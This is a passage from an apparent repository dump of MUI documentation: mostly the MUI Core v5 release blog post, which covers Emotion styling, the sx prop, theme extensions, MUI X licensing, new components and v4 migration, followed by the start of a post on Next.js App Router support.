Preact.\n\n3. For the last couple of months, we have been [sponsoring](https://opencollective.com/emotion) Emotion with a $100/month grant. We are now increasing this amount to $1,000/month. It's in our best interest to help ensure the library keeps pushing the envelope, leading the state of the art in a competitive space.\n\nThe first immediate benefit of the move to Emotion was **performance**. The `<Box>` component is [x5-x10 more performant](https://codesandbox.io/p/sandbox/zlh5w?file=/src/App.js) in v5, compared to v4.\n\nWe would like to thank all the community contributors that made the migration of the components and documentation possible in [#24405](https://github.com/mui/material-ui/issues/24405) and [#16947](https://github.com/mui/material-ui/issues/16947): [@natac13](https://github.com/natac13), [@vicasas](https://github.com/vicasas), [@mngu](https://github.com/mngu), [@kodai3](https://github.com/kodai3), [@xs9627](https://github.com/xs9627), [@povilass](https://github.com/povilass), [@duganbrett](https://github.com/duganbrett), [@queengooborg](https://github.com/queengooborg), and more.\nIt was a major undertaking!\n\nGoing forward, developers can either keep using JSS with the legacy `@mui/styles` package [or migrate from JSS](https://mui.com/material-ui/migration/migrating-from-jss/).\nWe recommend the latter to match the core components.\n\n### The sx prop\n\nWhile the `styled()` API is great to style complex components or to create highly reused components, there are cases where it's overkill.\nWe started to [explore](https://medium.com/material-ui/introducing-material-ui-design-system-93e921beb8df) this **problem** three years ago with the introduction of the `<Box>` component to solve the following concerns:\n\n1. **Switching context** wastes time.\n   The styled API forces you to constantly jump between the use of the styled components and where they are defined.\n   Could we move the style descriptions right where we need them?\n2. **Naming things** is hard.\n   Have you ever found yourself struggling to find a good name for a styled component?\n   Could we remove the need to create and name yet another component?\n3. **Enforcing consistency** in UIs is hard.\n   This is especially true when more than one person is building the application, as there has to be some coordination amongst members of the team regarding the choice of design tokens and how they are used, what parts of the theme structure should be used with what CSS properties, and so on.\n\nIn v5, we have pushed the solution one step further with the `sx` prop.\nThe prop is now available on **all** the components (made possible by emotion).\nIt exposes a superset of the CSS API: the normal CSS properties, shorthands, and media query helpers.\n\nFor instance, you can add one unit of vertical margin with:\n\n```jsx\n// add margin: 8px 0px;\n<Slider sx={{ my: 1 }} />\n```\n\n<p class=\"blog-description\"><a href=\"https://codesandbox.io/p/sandbox/nostalgic-williams-zmo5r?file=/src/App.js\">CodeSandbox</a></p>\n\nDevelopers already seem to [love it](https://x.com/AnsonLowZF/status/1397034690771443715).\nYou can find a [side-by-side comparison](https://mui.com/system/getting-started/usage/#why-use-mui-system) of `styled()` vs. `sx` in the documentation to determine when you should use the prop.\nSome developers use `sx` for everything, others only in simple cases.\n\nThe four components categorized as CSS utilities: Box, Grid, Typography, and Stack pushes the approach one step further.\nThey expose a subset of the `sx` prop as flat props, for instance:\n\n```jsx\n<Typography color=\"grey.600\">\n\n// is equivalent to\n<Typography sx={{ color: 'grey.600' }}>\n```\n\n<p class=\"blog-description\"><a href=\"https://codesandbox.io/p/sandbox/keen-worker-zo2r3?file=/src/App.tsx\">CodeSandbox</a></p>\n\nSee the [API tradeoff](https://mui.com/system/getting-started/usage/#api-tradeoff) section of the documentation for why not all the components accept these flat props.\n\n### Dynamic props\n\nReact is about composition. Developers can import one component, extend it, and re-export the wrapper.\nIt's how developers have extended the core components up until v4. However:\n\n1. Each time you create a new component, it's another import option for your team.\n   Now, you have to ensure that the right component is imported.\n2. Adding a new `color=\"success\"` prop to a Button component requires non-trivial CSS customizations.\n   How do you ensure that all the styles (hover, focus, focus-visible) are consistent with the other built-in colors?\n3. It adds a boilerplate.\n\nFor this reason, v5 comes with the capability to extend the built-in behavior of the components, right from the theme.\nThis was one of the most upvoted GitHub issues: [#13875](https://github.com/mui/material-ui/issues/13875).\nIn practice, this change makes the MUI Core components extendable placeholders.\n\n**First**, you can use the [existing style mapping](https://v5.mui.com/material-ui/customization/palette/#custom-colors) of the components.\nFor example, you can add a new `neutral` color to the palette, and the Button computes the right derivative colors.\n\n```jsx\nimport { createTheme, Button } from '@mui/material';\n\n// 1. Extend the theme.\nconst theme = createTheme({\n  palette: {\n    neutral: {\n      main: '#d79b4a',\n    },\n  },\n});\n\n// 2. Notify TypeScript about the new color in the palette\ndeclare module '@mui/material/styles' {\n  interface Palette {\n    neutral: Palette['primary'];\n  }\n  interface PaletteOptions {\n    neutral: PaletteOptions['primary'];\n  }\n}\n\n// 3. Update the Button's color prop options\ndeclare module '@mui/material/Button' {\n  interface ButtonPropsColorOverrides {\n    neutral: true;\n  }\n}\n\n// 4. Profit\n<Button color=\"neutral\"  />\n```\n\n<p class=\"blog-description\"><a href=\"https://codesandbox.io/p/sandbox/stupefied-mclaren-ho4zs?file=/src/App.tsx\">CodeSandbox</a></p>\n\n**Second**, you can add [custom variants](https://v5.mui.com/material-ui/customization/theme-components/#creating-new-component-variants) to the theme, overriding the CSS for specific component prop combinations.\n\n```jsx\nimport { createTheme, Button } from '@mui/material';\n\n// 1. Extend the theme.\nconst theme = createTheme({\n  components: {\n    MuiButton: {\n      variants: [\n        {\n          props: { variant: 'dashed', color: 'error' },\n          style: {\n            border: '1px dashed red',\n            color: 'red',\n          }\n        }\n      ]\n    }\n  }\n});\n\n// 2. Update the Button's color prop options\ndeclare module '@mui/material/Button' {\n  interface ButtonPropsVariantOverrides {\n    dashed: true;\n  }\n}\n\n// 3. Profit\n<Button variant=\"dashed\" color=\"error\">\n  dashed\n</Button>\n```\n\n<p class=\"blog-description\"><a href=\"https://codesandbox.io/p/sandbox/sharp-sky-xwz3d?file=/src/App.tsx\">CodeSandbox</a></p>\n\n### Global class names\n\nIn v3, we heard how frustrating using the `classes` prop API correctly can sometimes be.\nIn v4, we made [a step](https://mui.com/blog/material-ui-v4-is-out/#customization) towards adding global class names.\nThey are present, as long as no more than one ThemeProvider is used.\n\nv5 doubles down on this direction by always adding global class names on the host DOM nodes.\nThese class names are available for customizing the child elements,\nwhich can simplify the customization of complex components.\n\nFor example, compare these three options to turn the outlined input's border color red:\n\n```tsx\nimport TextField from '@mui/material/TextField';\nimport { outlinedInputClasses } from '@mui/material/OutlinedInput';\nimport { styled } from '@mui/material/styles';\n\n// Option 1: global class\nconst CustomizedTextField1 = styled(TextField)({\n  '& .MuiOutlinedInput-notchedOutline': {\n    borderColor: 'red',\n  },\n});\n\n// Option 2: global class + const\nconst CustomizedTextField2 = styled(TextField)({\n  [`& .${outlinedInputClasses.notchedOutline}`]: {\n    borderColor: 'red',\n  },\n});\n\n// Option 3: classes prop (before)\nconst CustomizedTextField3 = styled((props) => (\n  <TextField\n    {...props}\n    variant=\"outlined\"\n    InputProps={{ classes: { notchedOutline: 'foo' } }}\n  />\n))({\n  '& .foo': {\n    borderColor: 'red',\n  },\n}) as typeof TextField;\n```\n\n<p class=\"blog-description\"><a href=\"https://codesandbox.io/p/sandbox/zealous-dawn-0yr4g?file=/src/App.tsx\">CodeSandbox</a></p>\n\nOption 1 is the simplest but if you want more type safety and do not use a magic string (`MuiOutlinedInput-notchedOutline`), you can use Option 2.\n\n### Unstyled components (alpha)\n\nWhile hooks were high-risk experimentation when React released them in 2018, they are now ubiquitous.\nThis is a great opportunity for MUI to expose more flexibility: headless components.\n\nA key reason why developers pick MUI is to be able to build UIs faster.\nWhen they depend on us, they make a tradeoff.\nThey estimate that applying new styles on top of the Material Design components will be faster than creating components from scratch or picking another library.\nThey estimate that it will be performant enough, and they won't miss too much freedom.\n\nThis tradeoff works **really well** when having a small, constrained engineering team or a large team building internal (/secondary) tools.\nBut what about the medium/large size engineering team that works on ambitious projects? Shouldn't they have a better option for not including Material Design and maximizing freedom than building the components from scratch?\n\nWe have started working on this exact problem,\nisolating the logic of the Material Design components into hooks and unstyled components.\nWhile the effort is still in alpha, you can already find the first building blocks in a new Base package.\n\nSo far it features:\n\n- [Autocomplete](https://v5.mui.com/material-ui/react-autocomplete/#useautocomplete)\n- [Button](https://v5.mui.com/material-ui/react-button/#unstyled)\n- [Modal](https://v5.mui.com/material-ui/react-modal/#unstyled)\n- [Pagination](https://v5.mui.com/material-ui/react-pagination/#usepagination)\n- [Slider](https://v5.mui.com/material-ui/react-slider/#unstyled)\n- [Switch](https://v5.mui.com/material-ui/react-switch/#unstyled)\n\n```jsx\nconst CustomButton = React.forwardRef(function CustomButton(\n  props: ButtonUnstyledProps,\n  ref: React.ForwardedRef<any>,\n) {\n  const { children } = props;\n  const { active, disabled, focusVisible, getRootProps } = useButton({\n    ...props,\n    ref,\n    component: CustomButtonRoot,\n  });\n\n  const classes = {\n    active,\n    disabled,\n    focusVisible,\n  };\n\n  return (\n    <CustomButtonRoot {...getRootProps()} className={clsx(classes)}>\n      {children}\n    </CustomButtonRoot>\n  );\n});\n```\n\n<p class=\"blog-description\"><a href=\"https://codesandbox.io/p/sandbox/7lc1r?file=/demo.tsx\">CodeSandbox</a></p>\n\nWe discuss the effort in [#6218](https://github.com/mui/material-ui/issues/6218).\nYou can use [#27170](https://github.com/mui/base-ui/issues/10) to follow our progress.\n\n## Improved DX\n\n### Smaller demos in the docs\n\nWe have used the migration of the demos from JSS to Emotion as an opportunity to rework them.\nMany of the demos were originally added taking into account how they would help maintainers work on the components.\nInstead, we have reversed the priority, putting the developers using them [first](https://github.com/mui/material-ui/issues/22484).\n\nIn practice, this means breaking down complex demos into smaller ones.\nWe aim to have as many \"inline previews\" as possible. It saves one click to expand the demo, and the mental overhead of figuring out what part of the code maps with what of interest you saw on the screen.\n\n<a href=\"/material-ui/react-button/#basic-button\">\n  <img loading=\"lazy\" src=\"/static/blog/mui-core-v5/inline-preview.png\" alt=\"Screenshot of the new code inline preview in our docs\" width=\"1400\" height=\"404\" />\n</a>\n\n### Props descriptions in IntelliSense\n\nThe best documentation is the one you don't need to open.\nWe have moved all the prop descriptions to TypeScript, so IntelliSense in your editor can show you more context.\n\n<img loading=\"lazy\" src=\"/static/blog/mui-core-v5/prop-descriptions.png\" alt=\"Screenshot of the added prop descriptions due to IntelliSense\" width=\"1834\" height=\"472\" />\n\n<p class=\"blog-description\">The popup explains what the `forcePopupIcon` prop is for.</p>\n\nThese TypeScript prop descriptions are also used to generate the [API pages](https://mui.com/material-ui/api/autocomplete/#props) of the documentation, so there is a single source of truth.\n\n### Migration from Enzyme to Testing Library\n\nThe migration of MUI from class components [to hooks in v4](https://mui.com/blog/material-ui-v4-is-out/#preparing-for-the-future) broke many of the tests we had written with [Enzyme](https://github.com/enzymejs/enzyme/).\nOur tests were too coupled with the internals of React.\nWe decided to transition our tests suite to [Testing Library](https://testing-library.com/).\n\nFast forward a couple of years, Testing Library is now [the most popular](https://npm-stat.com/charts.html?package=enzyme&package=%40testing-library%2Freact&from=2020-09-13&to=2021-09-13) option to test React components in the community.\n\nWe are happy to report that we have migrated **all** our test codebase to Testing Library.\nYou can use our tests as inspiration when you need to write new ones.\nThe migration has even allowed us to rethink some of the implementations, making the components easier to test with the library.\n\n### TypeScript migration\n\nThe MUI Core codebase is not completely written in TypeScript yet but we have been coming a long way ([MUI X](https://github.com/mui/mui-x) is).\nIn v4, we have written all the demos TypeScript first.\n\nWith v5, we have made new steps toward the adoption of TypeScript:\n\n- We have made the TypeScript definitions the source of the API pages.\n  This reduces the likeliness for a new release to include out-of-date definitions.\n- We have migrated our first component to be written in TypeScript.\n- We are writing most of the new code in TypeScript.\n\nOverall, the language stats of GitHub give some qualitative measure of the progress:\n\n- 02/2019: 1.6%\n- 03/2020: 3.2%\n- 07/2020: 5.3%\n- 10/2020: 25.4%\n- 07/2021: 35.4%\n- Today: 36.1%\n\n<img loading=\"lazy\" src=\"/static/blog/mui-core-v5/typescript.png\" alt=\"Screenshot of our current language distribution. 36.1% TypeScript, 63.9% JavaScript.\" width=\"1400\" height=\"300\" />\n\nWe expect the adoption of TypeScript to increase during the lifecycle of v5.\nWith this organic adoption strategy, it might take us two years to close [#15984](https://github.com/mui/material-ui/issues/15984).\n\n### Strict Mode support\n\nThis release is compatible with `React.StrictMode`.\nThis is the result of two years of work on the infrastructure.\nWe now run the tests and the documentation in strict mode.\nThanks for the patience, this has been an old and [frequently requested](https://github.com/mui/material-ui/issues/13394) improvement.\n\nBonus point, we run [React v18](https://github.com/reactwg/react-18) (unreleased) in a nightly build, in strict mode, without any test failures.\n\n> ⚠️ `@mui/styles` is not compatible with strict mode nor concurrent features.\n\n## A new product line: X\n\n<img loading=\"lazy\" src=\"/static/blog/mui-core-v5/mui-x-blog-hero.png\" alt=\"Mockup of some MUI X components\" width=\"2400\" height=\"1200\" />\n\nWe are very excited to introduce a new product line to the MUI family: **[MUI X](/x/)**!\nWe have recently released our [first stable version](https://github.com/mui/mui-x/releases/tag/v4.0.0).\n\nMUI X embodies our initiative to solve the main pain point developers have reported two years in a row during our developer's survey: [2020](/blog/2020-developer-survey-results/#5-how-can-we-improve-material-ui-for-you), [2019](/blog/2019-developer-survey-results/#4-how-can-we-improve-material-ui-for-you).\nWe have heard you, you want **more components**.\n\nBut, in practice, we wouldn't probably cover all the possible components you might need. It would be a titanic task.\nInstead, we are focusing on the **hardest** and **most requested** components, leaving the long tail to our [community of contributors](https://v5.mui.com/material-ui/discover-more/related-projects/#supplementary-components).\n\nWe started working on this effort over a year ago, in a new GitHub repository: [mui/mui-x](https://github.com/mui/mui-x).\nYou might wonder, why work on it as a different product? Building a great data grid or charting solution takes a considerable amount of time. Taking on the challenge of developing them required us to think about a different monetization strategy and we quickly realized that the team working on MUI X would need to become, at least, two times larger than the one working on MUI Core, which already has the community contribution.\n\nAlthough each product has its unique vision and mission statements, they complement each other. A solid MUI Core foundation is essential for the MUI X adoption.\n\n- **MUI Core:**\n  - Vision: Create robust foundations to build UI components. \"Robust\" is measured by how many developers decide to depend on it.\n  - Mission: Unlock design skills to developers while allowing them to build UIs fast.\n- **MUI X:**\n  - Vision: Create the last UI component library developers will ever need. High quality, consistent, feature-rich, and covering the most frequent/challenging use-cases.\n  - Mission: Make building rich, data-intensive, dynamic apps a breeze.\n\nMUI Core has a positive cash flow thanks to its paid templates, design assets, ads on the documentation, and backers/sponsors (❤️). The [MIT](https://www.tldrlegal.com/license/mit-license) license model works great for it.\n\nHowever, none of these revenue sources would scale with the outcome and amount of work required for MUI X.\nIt's why we are using an [open core license model](https://en.m.wikipedia.org/wiki/Open-core_model) for this new product.\nThe X components come in [three different plans](https://mui.com/pricing/):\n\n- **Community.** This plan contains the MIT components that are sustainable by the contributions of the open-source community. Free forever.\n- **Pro.** This plan contains the features that are at the limit of what the open-source model can sustain. For instance, providing a very comprehensive set of components. From a price perspective, the plan is designed to be accessible to most professionals.\n- **Premium.** This plan contains the most advanced features.\n\nLet's have a look at our first component:\n\n### Data Grid\n\nWe have started the `DataGrid` and `DataGridPro` components more than a year ago with the ambition to deliver the best-in-class React data grid.\n\nTo achieve this we have a twin licensing model.\nThe `DataGrid` component is available under an MIT license for the features that can be relatively easily implemented, and that can be sustained with an open-source model.\nThe `DataGridPro` on the other hand is available under a paid commercial license for the more advanced features.\n\n<a href=\"/x/react-data-grid/features/\">\n  <video autoplay muted loop playsinline width=\"800\" height=\"501\">\n    <source src=\"/static/blog/mui-core-v5/data-grid.mp4\" type=\"video/mp4\" />\n  </video>\n</a>\n\n<a href=\"/x/react-data-grid/features/\"><p class=\"blog-description\">Check the Data Grid demo here.</p></a>\n\n### Date Picker\n\nWe have transferred the ownership of the `@material-ui/pickers` from [Dmitriy Kovalenko](https://github.com/dmtrKovalenko) to the main organization.\nThe date picker components are now part of the `@mui/lab` package.\n\nWe spent a lot of time making sure they are consistent.\nWe are now working toward reaching the same level of excellence as the other core components.\nThese were our first TypeScript components in the codebase.\n\nThe date range picker will be part of the Pro plan, while the other date picker components are MIT licensed.\n\n## New components\n\nThis release comes with eight new components!\n\n### Improved Grid\n\nThe development of the Grid was mostly put on hold for the last three years, blocked by the size of the statically generated CSS with JSS.\nThe [migration to emotion](#migration-from-jss-to-emotion) has unlocked the following frequently requested changes:\n\nSupport for [row & column](https://v5.mui.com/material-ui/react-grid-legacy/#row-column-spacing) spacing:\n\n```jsx\n<Grid container rowSpacing={1} columnSpacing={2} />\n```\n\nSupport for [responsive values](https://v5.mui.com/material-ui/react-grid-legacy/#responsive-values) on all the props:\n\n```jsx\n<Grid container spacing={{ xs: 2, md: 3 }} />\n```\n\nSupport for a different [number of columns](https://v5.mui.com/material-ui/react-grid-legacy/#columns) than 12:\n\n```jsx\n<Grid container columns={16}>\n```\n\nAn alternative implementation that uses [CSS grid](https://v5.mui.com/material-ui/react-grid-legacy/#css-grid-layout):\n\n```jsx\n<Box display=\"grid\" gridTemplateColumns=\"repeat(12, 1fr)\" gap={2}>\n  <Box gridColumn=\"span 8\">\n    <Item>xs=8</Item>\n  </Box>\n  <Box gridColumn=\"span 4\">\n    <Item>xs=4</Item>\n  </Box>\n  <Box gridColumn=\"span 4\">\n    <Item>xs=4</Item>\n  </Box>\n  <Box gridColumn=\"span 8\">\n    <Item>xs=8</Item>\n  </Box>\n</Box>\n```\n\n### More Material Design icons\n\nThe Material Design team at Google has released 600 new icons in five different themes since we released v4.\nWe have made them [available](https://v5.mui.com/material-ui/material-icons/) in the `@mui/icons-material` package.\n\n### Stack\n\nWe have introduced a new `<Stack>` component\nto handle one-dimensional layouts. It's's similar to how Figma handles auto-layout.\n\n<a href=\"/material-ui/react-stack/\">\n  <img loading=\"lazy\" src=\"/static/blog/mui-core-v5/stack.png\" alt=\"Screenshot of the Stack component and its code preview\" width=\"1400\" height=\"614\" />\n</a>\n\n> Note that you might already be using `<Box display=\"flex\" gap={1}>` to solve the same problem,\n> however, [browser support](https://caniuse.com/flexbox-gap) for the flexbox `gap` CSS property is lacking in Safari.\n\nYou can find [more details](https://v5.mui.com/material-ui/react-stack/) in the documentation.\n\n### Promotion from the lab\n\nWe have moved six components from the lab to the main component package, after over two years iterating on feedback:\n\n- [Autocomplete](https://v5.mui.com/material-ui/react-autocomplete/)\n- [Pagination](https://v5.mui.com/material-ui/react-pagination/)\n- [Rating](https://v5.mui.com/material-ui/react-rating/)\n- [Skeleton](https://v5.mui.com/material-ui/react-skeleton/)\n- [Speed Dial](https://v5.mui.com/material-ui/react-speed-dial/)\n- [Toggle Button](https://v5.mui.com/material-ui/react-toggle-button/)\n\n### New in the lab\n\nThe lab hosts the incubator components that are not yet ready to move to the core.\nThe main difference between the lab and the core is how the components are versioned.\nHaving a separate lab package allows us to release breaking changes when necessary while the core package follows a [slower cadence](https://mui.com/versions/#release-frequency).\n\nThe following components are now available in the lab:\n\n- [LoadingButton](https://v5.mui.com/material-ui/react-button/#loading-button). It does what you would expect. It renders the `Button` with a configurable loading/pending state.\n- [FocusTrap](https://v6.mui.com/base-ui/react-focus-trap/). This component traps the keyboard focus within a DOM node. For example, it's used by the Modal to prevent tabbing out of the component for accessibility reasons.\n- [Masonry](https://v5.mui.com/material-ui/react-masonry/). One great use case for this component is when using the `Grid` component leads to wasted space. It's frequently used in dashboards.\n\n  <a href=\"/material-ui/react-masonry/\">\n    <img loading=\"lazy\" src=\"/static/blog/mui-core-v5/masonry.png\" alt=\"Screenshot of the Masonry component and its code preview\" width=\"1400\" height=\"896\" />\n  </a>\n\n## v4 migration\n\nWe have been meticulous to minimize the pain on the migration from v4 to v5.\nWe know how daunting an upgrade can be.\n\nWe have used all the tools at our disposal.\nWe have [worked with the React core team](https://github.com/facebook/react/pull/20463) to make React DevTools display warnings directly in the components panel.\nThis should make it easier to find where components need to be updated for v5.\nSee this [CHANGELOG section](https://github.com/facebook/react/blob/main/packages/react-devtools/CHANGELOG.md#expose-dev-mode-warnings-in-devtools-ui) for more details on it.\n\nIn the following sections, we will cover some high-level changes required for a successful upgrade.\nWe have documented all the breaking changes, we have added as many deprecations as we could, we wrote codemods to automate the laborious tasks, and more!\n\nIf you are starting your upgrade, these are the three things you should look into:\n\n- ⚓ We have introduced actionable deprecations in v4.\n  You can upgrade to v4.12.0 and start preparing your codebase to be compatible with v5.\n- ⚒️ We have prepared a [codemod](https://mui.com/material-ui/migration/migration-v4/#preset-safe) that does most of the transformations you will need for the migration.\n  If you are not familiar with what a codemod is, check out [Effective Refactoring with Codemods by Edd Yerburgh](https://www.youtube.com/watch?v=H9qtLutnT_g&ab_channel=Pusher).\n- 📄 Lastly, we have prepared a step-by-step [migration guide](https://mui.com/material-ui/migration/migration-v4/).\n  This guide is the one place where you can find all information required for upgrading to v5.\n\n### Change of the package names\n\nTo support our [new brand](https://mui.com/blog/material-ui-is-now-mui/), we changed some of the terminology used in the project.\nThe npm packages have been renamed.\nFor more details on this, check [the migration guide](https://mui.com/material-ui/migration/migration-v4/).\n\n### Change of the styling solution\n\nWe have [replaced JSS with emotion](#migration-from-jss-to-emotion) as a default styling solution while adding support for styled-components at the same time.\nWe recommend migration your customization from JSS/`makeStyles`/`withStyles` to the new APIs: `styled` and the `sx` prop.\n\nIf you are not ready to migrate away from the `makeStyles` API now, you can:\n\n- add `@mui/styles` as a dependency and change the imports of the `makeStyles`/`withStyles` utilities\n- use [`tss-react`](https://github.com/garronej/tss-react) - its API is similar to JSS `makeStyles` but is powered by emotion, which minimizes the bundle duplication with the core components.\n\nYou can find more information for this on the [Migrate from JSS](https://mui.com/material-ui/migration/migrating-from-jss/) section of the migration guide.\n\n### Changes to the supported platforms\n\nThis breaking change is an opportunity to drop the support of legacy upstream dependencies.\n\n- We have updated the minimum supported TypeScript version from 3.2 to **3.5**.\n  This aims to match the policy of [DefinitelyTyped](https://github.com/DefinitelyTyped/DefinitelyTyped), with versions of TypeScript that are less than two years old.\n- We have updated the minimum supported node.js version from 8.0 to **12.17**.\n  This aims to match the [LTS versions that are in maintenance](https://github.com/nodejs/Release#release-schedule) mode.\n- We have updated the minimum supported React version from 16.8 to **17.0**.\n  The breaking changes released between the two versions are [very limited](https://legacy.reactjs.org/blog/2020/10/20/react-v17.html).\n- We have updated the supported browsers.\n  - Internet Explorer: **partial**. We have kept the logic added in the past to support IE 11,\n    however, we have stopped actively working on it. We can't guarantee that it works correctly. It's discontinued.\n  - Edge: from 14 to **91**. The minimum version based on Chromium.\n  - Firefox: from 52 to **78**.\n  - Chrome: from 49 to **90**. We have [assumed](https://developers.google.com/search/blog/2019/05/the-new-evergreen-googlebot) that Googlebot is always using the latest version of Chrome.\n  - Safari: from 10 to **12.5**\n\nThese changes have allowed us to save [6 kB gzipped](https://github.com/mui/material-ui/pull/22814#issuecomment-700995216) on the `@mui/material` package.\n\n## Design Kits\n\nWe now have design kits for the MUI components available in the three main design tools out there: [Figma](https://mui.com/store/items/figma-react/), [Sketch](https://mui.com/store/items/sketch-react/), and [Adobe XD](https://mui.com/store/items/adobe-xd-react/). If you work together with a designer or team of designers, having them use the design kits makes for easier communication, as you'll be speaking the same language around the components. It'll also help designers to understand how the library is structured, especially theming features and each component prop, enabling much faster development.\n\n<a href=\"https://mui.com/store/#design\">\n  <img loading=\"lazy\" src=\"/static/blog/mui-core-v5/design-kits.png\" alt=\"Screenshot of buttons in the Figma design kit\" width=\"1400\" height=\"1176\" />\n</a>\n\n<p class=\"blog-description\">The design kits</p>\n\nFigma is the first design kit that benefits from the v5 update, and we're more excited than ever to get the kits into designers' hands! We understand that designers are generally more creative and productive when their physical and digital work environment is looking fresh — that is why our kits are now cleaner in every aspect, leveraging naming, easy component-showcasing, and consistency.\n\nSome major changes to the components:\n\n- We've added the new colors that v5 introduces (error, warning, info & success)\n- All new components are covered\n- States such as hover have been added for all relevant components\n\n## What's next?\n\nLooking back, we are glad to say that, together, we have accomplished most of the objectives we defined in the [v4 release blog post](https://mui.com/blog/material-ui-v4-is-out/#whats-next).\n\nSome statistics with the released of v5.0.0 compared to the one of v4.0.0:\n\n- 5,832 new commits\n- 657 new contributors\n- From 2M downloads/month to 9.5M downloads/month on npm\n- From 350k users/month to 700k users/month on the documentation\n\nWe're also proud to share that the monetization initiatives we started right after the release of v4, such as [the store](/blog/material-ui-v4-is-out/#premium-theme-store), are working. We incorporated the company two years ago, have grown 2-3X per year since, and we're now over 10 people, with a positive cash flow 🚀. We are on track to reach 16 people by December 2021.\n[We're hiring](/careers/) to grow our existing products, but also to explore a bold new product vertical, aligned with our mission.\n\nWe couldn't be more grateful for the trust that the React community puts in us.\nOn average, we win 4% of market shares in the React community every year.\n\n<a href=\"https://docs.google.com/spreadsheets/d/1l5j3Xjtvm9XZtmb4ulLiWElQaXSlZlyCWT5ONrQMpBo/edit#gid=0\">\n  <img loading=\"lazy\" src=\"/static/blog/mui-core-v5/react-market.png\" alt=\"MUI market shares in download relative to react-dom\" style=\"width: 439px;\" width=\"878\" height=\"706\" />\n</a>\n\n<p class=\"blog-description\">Material UI market shares in download relative to react-dom</p>\n\nWe hope we can reach 50% of the React community by 2026. This is an ambitious goal, but not impossible.\n\n### A public roadmap\n\nYou can use the GitHub projects to learn about what features we're working on, what stage they're at, and when we expect to bring them to you:\n\n- [MUI Core](https://github.com/mui/material-ui/projects?query=is:open)\n- [MUI X](https://github.com/orgs/mui/projects/35)\n\nWe offer this transparency into what we plan to work on so that you can plan better and share feedback earlier to influence what we're building.\n\nFrom a high-level perspective, we plan to focus in the upcoming period on the following topics:\n\n- Core product:\n  - Unstyled components and hooks. We want to continue improving the customization experience.\n  - A second design system, that will help us grow MUI beyond Material Design.\n- X product:\n  - Focus on the data grid component, by releasing the stable 5.0 version and developing the advanced features in our roadmap.\n  - Expand to a second component once the data grid is on the right path.\n\nYou can find more information about the new areas we are going to work on in the next sections.\n\n### Unstyled components and hooks\n\nTo continue improving the customization experience, we are doubling down on the version of the components without styles.\nThese components and hooks contain the main functionalities and accessibility, without being opinionated about how styles are applied nor what styles.\nWe still have work to do to have a full set of unstyled components.\n\nYou can read more about them in [the docs](https://v6.mui.com/base-ui/getting-started/) and keep track of our progress in [#27170](https://github.com/mui/base-ui/issues/10).\n\nOur high-level plan is to use the unstyled components and hooks as the basis of the Material components and second design system.\nWe are aiming to complete this work with the next major release (v6).\nAs of now, you can evaluate the unstyled primitives in a new Base package, or check out the next implementation of the Material Design components in the `@mui/material-next` package (targeted at v6).\nPlease note that both packages are in an alpha state so that we can release breaking changes –\nwe want to take the opportunity to create the best APIs we possibly can.\n\nYou can help us shape these new packages by taking part in discussions.\nThere are [RFCs](https://github.com/mui/material-ui/issues?q=is%3Aopen+label%3Adiscussion+%5BRFC%5D) waiting for your feedback.\nDon't hesitate to let us know what you think!\n\n### Second design system\n\nDeveloping a new design system is one of the main initiatives, alongside this new brand and the unstyled components, to grow MUI beyond Material Design. Its codename is **Joy** and we have just started [the high-level discussion](https://github.com/mui/material-ui/discussions/27803) around it.\n\nIt will be built on top of our foundation packages (the base/unstyled components and `@mui/system`) to provide the API shaped similarly to our Material Design components. We plan on having built-in CSS variables generated from the theme, a great dark mode API, a custom look and feel, and more.\n\nWe're aiming for developing the most frequently used components first, as we plan on releasing them continuously with each milestone. We intend to have Joy versions of all components already available on Material Design so that developers can then pick between them, choosing the design they like the most. The main difference will be the theme structure, where we want to achieve the right amount of flexibility while providing an amazing design by default.\n\nWe'll keep you updated about the progress. And as always, you're invited to contribute to it as well. Stay tuned!\n\n### MUI X\n\nThe data grid is the cornerstone of any application manipulating large amounts of data. We plan to focus on it as long as necessary to deliver most of the advanced features.\nWe still have column pinning, tree data, grouping, pivoting, excel export, and more to build!\n\nOnce we would have grown the team and made enough progress, we will expand to a second component.\n\n### Design Kits\n\nWe plan to run extended research and surveys.\nWe have already identified that accessibility is something leading companies care about.\nWe are planning to cover more user interaction states for prototyping, for example focus-visible.\n\n## Thank you\n\nFinally, one last thank you to everyone who's contributed to MUI Core v5.\nThe whole team is very excited about this release! It's just the beginning.\nWe will keep working hard to deliver the best possible React UI components while making it accessible to the many.\n"
  },
  {
    "path": "docs/pages/blog/mui-next-js-app-router.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './mui-next-js-app-router.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/mui-next-js-app-router.md",
    "content": "---\ntitle: MUI Core libraries support the Next.js App Router\ndescription: Material UI, Base UI, and Joy UI are now compatible with the App Router as Client Components. Get started using the latest Next.js features with MUI!\ndate: 2023-07-18T00:00:00.000Z\nauthors: ['samuelsycamore']\nmanualCard: true\ntags: ['Product']\n---\n\nWith [v5.14.0](https://github.com/mui/material-ui/releases/tag/v5.14.0), MUI's Core component libraries—Material UI, Base UI, and Joy UI—are now compatible with the Next.js App Router. 🚀\n\n<img alt=\"MUI and Next.js logos\" src=\"/static/blog/mui-next-js-app-router/logos.png\" width=\"2076\" height=\"900\" />\n\n## Adapting to the new paradigm\n\nReact 18 introduced the concept of React Server Components, and Next.js 13 gave us the most mature framework implementation of RSCs to date with the App Router.\nWhile these two changes have caused major waves among the React community, it's clear that this is the path forward, and it's our responsibility as library maintainers to adapt to the new paradigm.\n\nAs a first step towards this goal, we've updated all Material UI, Base UI, Joy UI, and MUI System components to ship with the `\"use client\"` directive, to let your apps know that these are Client Components (since Server Components are now the default).\n\n:::info\n**A note on terminology:** although no Material UI, Base UI, Joy UI, or MUI System components can be used as React Server Components (RSCs) at this time, they _do_ support server-side rendering (SSR).\nSee [this explanation of Client Components and SSR](https://github.com/reactwg/server-components/discussions/4) from the React Working Group for more details on the distinction between RSC and SSR.\n:::\n\nAdditionally, we've created guides to walk you through setting up an app using the Next.js App Router with each of the Core libraries:\n\n- [Material UI setup](https://mui.com/material-ui/guides/next-js-app-router/)\n- [Base UI setup](https://v6.mui.com/base-ui/guides/next-js-app-router/)\n- [Joy UI setup](https://mui.com/joy-ui/integrations/next-js-app-router/)\n\n<img alt=\"Screenshot of the Material UI documentation\" src=\"/static/blog/mui-next-js-app-router/docs.png\" loading=\"lazy\" width=\"2400\" height=\"1394\" />\n\nWe also have example repos for each, with everything already set up for you:\n\n- [Material UI 